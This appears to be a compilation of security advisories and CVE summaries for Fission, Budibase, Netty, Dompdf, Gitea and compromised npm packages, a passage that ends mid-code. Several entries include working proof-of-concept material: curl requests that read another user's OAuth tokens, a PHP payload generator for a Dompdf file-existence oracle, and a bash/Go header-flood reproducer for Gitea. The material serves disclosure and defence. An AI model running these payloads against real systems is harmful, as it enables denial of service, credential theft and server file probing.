Search: github.com

A Zip Slip vulnerability exists in the Unarchive function of pkg/utils/zip.go in github.com/fission/fission up to version 1.24.0. The function improperly joins archive entry names with the destination directory without validating that the resolved path remains inside the destination. This allows crafted zip entries with directory traversal sequences (e.g., ../../tmp/evil) to write files outside the intended extraction directory. The vulnerability can be triggered when the fetcher downloads and extracts a zip archive, potentially allowing an attacker controlling the archive URL to write files arbitrarily within the file system accessible to the fetcher process.

A validation bypass vulnerability exists in the HTTPTrigger resource of the Fission project (github.com/fission/fission) through version 1.24.0. The fields RelativeURL and Prefix were only validated at the CLI level, not at the API server admission level, allowing creation of HTTPTriggers with unsafe or conflicting URL paths via kubectl apply or direct API calls. This could lead to triggers with empty URLs, paths not starting with '/', paths containing directory traversal segments, or collisions with reserved router paths. The issue was fixed in version 1.25.0 by enforcing consistent validation rules at both the API server and CLI layers.

GitHub MCP Server is GitHub's official MCP Server. Prior to 1.1.0, the CompletionsHandler function in pkg/github/server.go accesses params.Ref without first checking whether it is nil, so a completion/complete request with a missing or empty ref field triggers a nil pointer dereference and a Go runtime panic; because the crash occurs before any authentication or token validation, any unauthenticated client able to send JSON-RPC messages can crash the server, resulting in a complete denial of service. This issue is fixed in version 1.1.0.

The npm package @apexfnd/apex versions 1.0.0, 1.0.1, 1.0.3, and 1.0.4 contains malicious postinstall scripts that execute attacker-controlled code during installation. On macOS, it runs an AppleScript that downloads and executes a shell script with root privileges after prompting the user for their password. On all platforms, it downloads a platform-specific binary from an attacker-controlled GitHub repository and installs it without verifying its integrity. The package metadata does not match the domains from which code and binaries are fetched, indicating a supply chain compromise.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7f6774653f487db8fbb9b40f1c1aba2bf959edffae409445162b0d245a3bedf1) The @yancyyu/agentcli package installs a telemetry worker (dist/telemetry-worker.bundle.mjs) that is started by `agentcli init` / `agentcli usage start` and auto-started via macOS launchd. The worker enumerates every lark-cli (Feishu) profile stored on the host — decrypting macOS Keychain-wrapped AES-256-GCM `.enc` files under `~/Library/Application Support/lark-cli/` and Windows DPAPI-protected values under `HKCU\Software\LarkCli\keychain` — refreshes each token, and batch-POSTs `{app_id, app_secret, access_token, refresh_token}` for every profile every 5 minutes to a hardcoded default endpoint `http://47.112.24.153` (plain HTTP, bare IPv4, no TLS). The endpoint constant `DEFAULT_OPENHERMIT_CLOUD_BASE_URL` is the single default for the credential batch upload and conversation/usage pipelines when no override env var or settings value is present. The enumeration is not limited to AgentCli-created profiles; every lark-cli profile on the machine is harvested. The `reportAllLarkCredentials` code comment states: "enumerate all personal lark-cli profiles, refresh each, then read current credentials [...] batch the complete eligible set to the server." The postinstall step additionally rewrites the optional `cc-connect` dependency's installer to prepend third-party China GitHub mirror hosts (gh-proxy.com, ghproxy.net) in front of upstream release URLs before the cc-connect native binary is downloaded and executed, broadening the trust boundary for that binary. Feishu (Lark) `app_id` + `app_secret` combined with valid access/refresh tokens allow full impersonation of the affected tenant applications; sending them cleartext to a bare IPv4 over HTTP additionally exposes them to any on-path observer.

GitHub and PyPI have introduced new policies to enhance supply chain security by reducing the risk of malicious code propagation through package releases. GitHub's Dependabot now enforces a default three-day cooldown before opening pull requests for non-security version bumps, allowing time for detection of malicious versions. PyPI restricts uploading new files to releases older than 14 days to prevent poisoning of stable releases in case of compromised publishing credentials. These measures aim to reduce the risk of supply chain attacks without significantly impacting development workflows.

OffsetInspect v3.0.0 – track how Defender signature updates shift detection boundaries across a corpus [PowerShell, MIT] Source: https://github.com/warpedatom/OffsetInspect

GitHub and PyPI have introduced time-based defenses in their dependency management and package publishing processes to mitigate supply chain attacks. GitHub's Dependabot now enforces a default 72-hour cooldown before automatically updating dependencies, reducing the risk of quickly adopting malicious packages. PyPI blocks maintainers from adding new files to package releases older than 14 days to prevent release poisoning. These measures respond to recent high-profile supply chain attacks and aim to limit the impact of compromised packages or publishing tokens.

## Summary When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens. ## Details The vulnerability exists because `getUserContextBindings()` intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization. **Step 1: Tokens included in user bindings** In `packages/server/src/sdk/users/utils.ts:134-161`: ```typescript export function getUserContextBindings(user: ContextUser): UserBindings { const bindings: UserBindings = { _id: user._id, email: user.email, // ... } if (isSSOUser(user) && user.oauth2) { bindings.oauth2 = { accessToken: user.oauth2.accessToken, // <-- sensitive refreshToken: user.oauth2.refreshToken, // <-- sensitive } } return bindings } ``` **Step 2: Bindings passed to automation execution** In `packages/server/src/api/controllers/automation.ts:311-312`: ```typescript const user = sdk.users.getUserContextBindings(ctx.user) return await triggers.externalTrigger( { ...automation, disabled: false }, { ...input, appId, user }, // user with tokens passed as event param { getResponses: true, onProgress: emitProgress } ) ``` **Step 3: Tokens placed in trigger outputs** In `packages/server/src/threads/automation.ts:409-413`: ```typescript const trigger: AutomationTriggerResult = { id: data.automation.definition.trigger.id, stepId: data.automation.definition.trigger.stepId, inputs: null, outputs: data.event, // data.event includes user.oauth2 tokens } ``` **Step 4: Result broadcast without sanitization** The full result (including `trigger.outputs.user.oauth2`) is exposed via two vectors: 1. **WebSocket broadcast** — `builderSocket.emitToRoom()` calls `this.io.in(room).emit()` (`packages/server/src/websockets/websocket.ts:291`) which sends to ALL sockets in the app's room, not just the originator. 2. **Test status endpoint** — `recordTestProgress()` stores the result in a Map keyed by `${appId}:${automationId}` with no user isolation (`packages/server/src/automations/testProgress.ts:41-74`). Any builder can call `GET /api/automations/:id/test/status` to retrieve another user's test results. ## PoC Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens. ```bash # Step 1: User A (SSO-authenticated builder) tests an automation asynchronously curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \ -H 'x-budibase-app-id: app_dev_<appid>' \ -H 'Cookie: budibase:auth=<userA_session>' \ -H 'Content-Type: application/json' \ -d '{"row": {"tableId": "ta_xxx"}}' # Returns: {"message": "Automation test started"} # Step 2: User B (another builder on the same app) polls the test status curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \ -H 'x-budibase-app-id: app_dev_<appid>' \ -H 'Cookie: budibase:auth=<userB_session>' # Response includes the full automation result with: # result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..." # result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..." ``` Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the `BuilderSocketEvent.AutomationTestProgress` event with `status: "complete"` includes the full result payload. ## Impact - **OAuth2 access tokens** for external services (Google Workspace, Azure AD, GitHub, etc.) are exposed to co-builders of the same app. These tokens can be used to access external APIs as the victim user. - **OAuth2 refresh tokens** provide persistent access — an attacker can generate new access tokens even after the original expires, maintaining long-term access to the victim's external service accounts. - The attack is passive via WebSocket — an attacker only needs to have the builder UI open to receive tokens when any co-builder tests an automation. - Test results persist in memory for 5 minutes (TTL in `testProgress.ts:15`), providing a window for polling-based attacks. ## Recommended Fix Strip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients. In `packages/server/src/api/controllers/automation.ts`, sanitize the result before passing to `emitProgress`: ```typescript function sanitizeAutomationResult(result: AutomationResults): AutomationR

AhnLab monitored Advanced Persistent Threat attacks targeting South Korea during June 2026, identifying multiple attack types distributed primarily through spear phishing campaigns. Threat actors disguised malicious files as work-related documents, with LNK files being the most common delivery method. Six distinct attack types were observed, employing various techniques including malicious PowerShell commands, AutoIt malware, curl.exe abuse, GitHub repository exploitation, Task Scheduler persistence, DLL side-loading, and Python backdoors. These attacks deployed Infostealers, keyloggers, backdoors, and remote access tools like XenoRAT. Once executed, the malware established persistence, exfiltrated system information, and enabled remote control of compromised systems. Organizations are advised to verify email senders, avoid opening files from unknown sources, apply security patches, and maintain updated antivirus software to mitigate these persistent threats.

Malware#xenorat#autoitSouth Korea

The Intercom TypeScript Library version 7.0.4 has been compromised with malicious code that harvests GitHub credentials. Upon installation, the package executes a preinstall hook that downloads the Bun runtime, then runs a payload to extract GitHub credentials using the gh auth token command. The attack employs sophisticated C2 communication by querying GitHub's commit search API for specific strings embedded in public repositories, effectively using legitimate services to evade detection. The attack patterns mirror previous Shai-Hulud compromises, which exhibit worm-like behavior by automatically using stolen credentials to infect additional npm packages. With 361,510 weekly downloads, this compromise poses significant risk for a widespread infection wave similar to November 2025 when over 1,000 packages were affected.

cal.com (calcom repository, later renamed cal.diy) is affected by a repository takeover vulnerability in its GitHub Actions workflows. The workflow pr.yml uses the pull_request_target trigger with the repository's default write permissions and passes them down to check-types.yml. check-types.yml then performs a 'dangerous' checkout of the attacker-submitted pull request code (via the dangerous-git-checkout action) and subsequently executes it (through yarn install and package.json scripts). An attacker can open a pull request whose code runs arbitrary commands with the repository's write-scoped GITHUB_TOKEN, allowing them to push commits, merge or mutate pull requests, add or delete comments, and delete or force-push branches, thereby compromising the repository. The main branch is affected; no patched version is available.

CVE-2026-6924 is a vulnerability in the Silicon Labs Matter Github repository related to a predictable seed used in the pseudo-random number generator (PRNG) for the SiWx917 device. The entropy initialization bug causes the deterministic random bit generator (DRBG) to produce the same stream of random numbers, compromising randomness. This issue was found after the repository was deprecated. The vulnerability has a high severity score of 8.7 CVSS 4.0.

### Summary Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has already exceeded maxHeaderSize and marked the frame truncated. At commit b2d2137c4404af425bf9d5d601a62576f5c06925, a 12,253-byte compressed SPDY header block can declare and inflate a 12 MiB header-name field with maxHeaderSize=16, forcing compression-amplified decode and skip work in a reachable SpdyFrameCodec pipeline. ### PoC [poc.zip](https://github.com/user-attachments/files/28445780/poc.zip) run with: ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_ZLIB_DECODED_AFTER_LIMIT_TRIGGERED compressed_bytes=12253 declared_name_length=12582912 max_header_size=16 truncated=true invalid=false ``` The fingerprint means the compressed input was fully consumed while the raw header parser ended with `truncated=true` and `invalid=false` after processing the oversized decoded name. That specific state distinguishes this bug from a generic setup failure: the maxHeaderSize guard fired, but the zlib/raw decode path still inflated and skipped the full 12 MiB declared name. ### Impact A remote unauthenticated peer that can speak SPDY to a Netty pipeline containing SpdyFrameCodec can send a small compressed HEADERS block that expands into much larger raw header data after the configured maxHeaderSize limit has already been exceeded. The attack requires a reachable SPDY codec, ordinary transport setup such as TCP and optional TLS, and no independent compressed-frame-size or connection-rate limit ahead of SpdyFrameCodec. The satisfied protocol guards are straightforward: the HEADERS frame uses a nonzero stream id and length >= 4, the decoder factory selects the zlib decoder, the payload uses the SPDY dictionary, and the raw block appends a zero-length value so the already-truncated frame reaches END_HEADER_BLOCK. The user-visible effect is denial of service through compression-amplified CPU and allocation churn.

### Summary Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame` without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work. ### Details Inbound SPDY bytes enter `SpdyFrameCodec.decode()` and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only `length >= 4`. For SETTINGS payloads, it reads the peer-controlled `numSettings` field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into `spdySettingsFrame.setValue()`. The sink is `DefaultSpdySettingsFrame`: it backs settings with a `TreeMap`, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new `Setting` for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site. ### PoC [poc.zip](https://github.com/user-attachments/files/28445737/poc.zip) run with ```bash bash ./poc/run.sh ``` expected output: ```text NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144 ``` The `NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED` line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The `wire_bytes=2097164`, `first_value=1`, and `last_value=262144` fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized. ### Impact remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing `SpdyFrameCodec` can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of `4 + numSettings * 8`, and IDs within the accepted 24-bit range; the verified PoC uses `numSettings=262144` and `wire_bytes=2097164`. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed `DefaultSpdySettingsFrame`, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.

## Description Dompdf is vulnerable to a **File Existence Oracle** attack through the manipulation of the CSS `@font-face` directive. By providing malicious HTML that references local files via the `file://` protocol repeatedly, an attacker can trigger PHP memory exhaustion. The critical point of this flaw is the discrepancy in system behavior: 1. **If the file exists:** Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation. 2. **If the file does NOT exist:** The rendering engine fails quickly or ignores the import, and the memory limit is not reached. This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of `CHROOT` restrictions. Some factors impact the ability of attackers to exploit the vulnerability: - The attacker must be allowed to provide unrestricted and/or unsanitized HTML content. - System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error. - HTTP GET querystring or POST body must allow large data - Memory limits must be low enough that Dompdf can trigger an overflow - `$_dompdf_show_warnings` when set to true can bump memory usage --- ## Example Scenario ### 1. Vulnerable System A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf. - Vulnerable Endpoint: http://example.com/index.php - Vulnerable Parameter: html_input (POST) `index.php` simplified: ``` $dompdf = new Dompdf(new Options()); $dompdf->loadHtml($_POST['html_input']); $dompdf->render(); $dompdf->stream("document.pdf"); ``` <img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" /> ### 2. Attack Generation The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request. - Attacker's Local Script (payload_gen.php): ```PHP <?php /** * Usage: php exploit.php <file_path> <iterations> * Example: php exploit.php /etc/passwd 5000 */ // Check if the file argument was provided if ($argc < 2) { echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n"; exit(1); } $file = $argv[1]; $iterations = isset($argv[2]) ? (int)$argv[2] : 5000; function generate_payload($file, $iterations) { $css = ""; $body = ""; // We use @font-face to trick the engine into attempting a local file read for ($i = 0; $i < $iterations; $i++) { $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n"; $body .= "<span style=\"font-family:f{$i}\">.</span>"; } return "<html><head><style>{$css}</style></head><body>{$body}</body></html>"; } // Output the payload to stdout for piping echo generate_payload($file, $iterations); ?> ``` ### 3. Exploitation The attacker pipes the malicious HTML into a curl request targeting the remote server: ``` php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \ --data-urlencode "html_input@-" \ --output response.pdf ``` By analyzing the `response.pdf` file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes. #### Existent file: <img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" /> #### Non-existent file: <img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" /> Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists. --- ## Impact **Information Disclosure (File Oracle via Reflected HTML)**: In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., `.env` files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.

A large-scale operation dubbed 'FakeGit' is pushing SmartLoader and StealC malware through 7,600 malicious GitHub repositories that accumulated more than 14 million downloads. [...]

### Summary A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only. ### Details The issue affects the following endpoints: GET /api/v1/user/orgs GET /api/v1/users/{username}/orgs/{org}/permissions The application correctly prevents a public-only token from directly accessing a private organization through: GET /api/v1/orgs/{org} However, that same token can still obtain private organization data through alternate code paths. The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes. For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all. For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered. The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships. The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization. This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data. ### PoC **Step 1:** Create or use a user account that belongs to at least one private organization. <img width="1858" height="891" alt="Screenshot 2026-04-16 001614" src="https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7" /> **Step 2:** Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6 **Step 3:** Confirm the token is correctly restricted by requesting the private organization directly <img width="1918" height="867" alt="Screenshot 2026-04-16 002345" src="https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2" /> [REQUEST] GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers [RESPONSE] HTTP/2 403 Forbidden Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:23:19 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 89 {"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"} **Step 4:** Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org. <img width="1545" height="791" alt="Screenshot 2026-04-16 002751" src="https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681" /> [REQUEST] GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers [RESPONSE] HTTP/2 200 OK Access-Control-Expose-Headers: X-Total-Count Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:26:35 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff

### Summary Gitea's `/api/v1/teams/{id}` API routes do not correctly enforce the `public-only` access token restriction. A `public-only` token is intended to limit API access to public repositories and public organizations. However, several team API routes continue to return private team repository metadata and private team activity feed entries when called with a `public-only` token. ### Details The `/api/v1/teams/{teamid}` route group uses: ```go orgAssignment(false, true) ``` This loads `ctx.Org.Team`, but does not load `ctx.Org.Organization`. The `checkTokenPublicOnly` middleware checks organization visibility through `ctx.Org.Organization`. When `ctx.Org.Organization` is nil, the organization visibility check silently passes. In addition, the team repository handlers return repositories without applying repository-level `public-only` filtering: ```go repo_model.GetTeamRepositories(...) convert.ToRepo(...) ``` They do not call: ```go ctx.TokenCanAccessRepo(repo) ``` The team activity feed handler also sets: ```go IncludePrivate: true ``` but does not apply: ```go opts.ApplyPublicOnly(ctx.PublicOnly) ``` ### PoC Vulnerability is verified on latest gitea release (1.26.2) and nightly build. Frist, create a `public-only` organization-scoped token for a user who is a member of a team in a private org with private repositories: <img width="1075" height="577" alt="image" src="https://github.com/user-attachments/assets/4a01d0ab-f67c-47c9-94b1-e74ddd77d7bc" /> <img width="649" height="375" alt="image" src="https://github.com/user-attachments/assets/b5d91962-088e-40f4-bc51-88a17946e6d8" /> Use the returned token to request team repositories: <img width="1728" height="190" alt="image" src="https://github.com/user-attachments/assets/0f15878f-5806-431d-958c-ffb39bf7c1e9" /> Expected result: Private repositories should be hidden or rejected for a public-only token. Actual result: Private team repository metadata is returned. The team activity feed endpoint can be tested similarly: <img width="1728" height="237" alt="image" src="https://github.com/user-attachments/assets/280a5ddf-ad14-4769-86a8-1fdad858287c" /> ### Impact A `public-only` token can access private team resources that should be hidden from that token.

### Summary The Locale middleware that runs in front of every unauthenticated request calls `golang.org/x/text/language.ParseAcceptLanguage` on the raw `Accept-Language` header without imposing a size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser's internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns ~2 seconds of server CPU on the host running Gitea; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~1 MiB of upstream bandwidth per request. ### Affected versions `code.gitea.io/gitea` 1.22.6 and (per code inspection of `main`) all earlier and later 1.22.x / 1.23.x / 1.24.x / 1.25.x / 1.26.x versions that do not impose their own size limit on the `Accept-Language` header before calling `ParseAcceptLanguage`. Verified on: - the official `gitea/gitea:1.22.6` docker image (E2E below) - `main` at commit `6f4027a6be28c876c0abaf37cc939658645b78a3` by reading `modules/web/middleware/locale.go` (the call site at line 38 is unchanged on `main`) ### Privilege required Unauthenticated. The Locale middleware runs for every HTTP request including the landing page and the sign-in page. ### Vulnerable code [`modules/web/middleware/locale.go:38`](https://github.com/go-gitea/gitea/blob/fc396f0808187c358b4fc15dcefcd6957140a780/modules/web/middleware/locale.go#L38) (blob SHA `fc396f0808187c358b4fc15dcefcd6957140a780`): ```go // 3. Get language information from 'Accept-Language'. // The first element in the list is chosen to be the default language automatically. if len(lang) == 0 { tags, _, _ := language.ParseAcceptLanguage(req.Header.Get("Accept-Language")) tag := translation.Match(tags...) lang = tag.String() } ``` `req.Header.Get("Accept-Language")` is the unfiltered HTTP header. Default Go `net/http` `MaxHeaderBytes` is `1 << 20` = 1 MiB and Gitea does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data. CVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_aaaaaaaaa_aaaaaaaaa_...` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path. The fix author of CVE-2022-32149 treated `-` as the canonical separator; the `_` alias was added in 2013, nine years before the fix. ### How `Accept-Language` reaches `ParseAcceptLanguage` Every Gitea HTTP request passes through `Locale` as it is wired up via the global request pipeline (Gitea registers the middleware on its router in `routers/web/web.go`). The middleware sequence is: 1. The request enters `Locale(resp, req)`. 2. `req.URL.Query().Get("lang")` returns "" (attacker omits `lang`). 3. `req.Cookie("lang")` returns nil on a fresh client (attacker uses a fresh client, or simply does not send the cookie). 4. `req.Header.Get("Accept-Language")` returns the full attacker-supplied header value. 5. `language.ParseAcceptLanguage(...)` runs unfiltered. No size or character class filter is applied between (4) and (5). ### Proof of concept Single-line bash reproducer that crafts the malicious header and times one request against a fresh `gitea/gitea:1.22.6` container: ```bash docker run -d --name gitea --rm -p 13000:3000 gitea/gitea:1.22.6 sleep 8 PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')" echo "header size = ${#PAYLOAD} bytes" curl -sS -o /dev/null \ -w 'http=%{http_code} t=%{time_total}\n' \ -H "Accept-Language: ${PAYLOAD}" \ http://127.0.0.1:13000/ ``` Each 9-character `_abcdefghi` token has length 9, which fails the scanner's `len <= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N²). ### End-to-end reproduction (against `gitea/gitea:1.22.6`) A Go driver `poc.go` that boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed): ```go // poc.go package main import ( "fmt" "io" "net" "net/http" "strings" "time" ) const targetURL = "http://127.0.0.1:13000/" func buildPayload(sep string, targetBytes int) string { const tok = "abcdefghi" var b strings.Builder b.Grow(targetBytes + 16) b.WriteString("en") for b.Len()+1+len(tok) <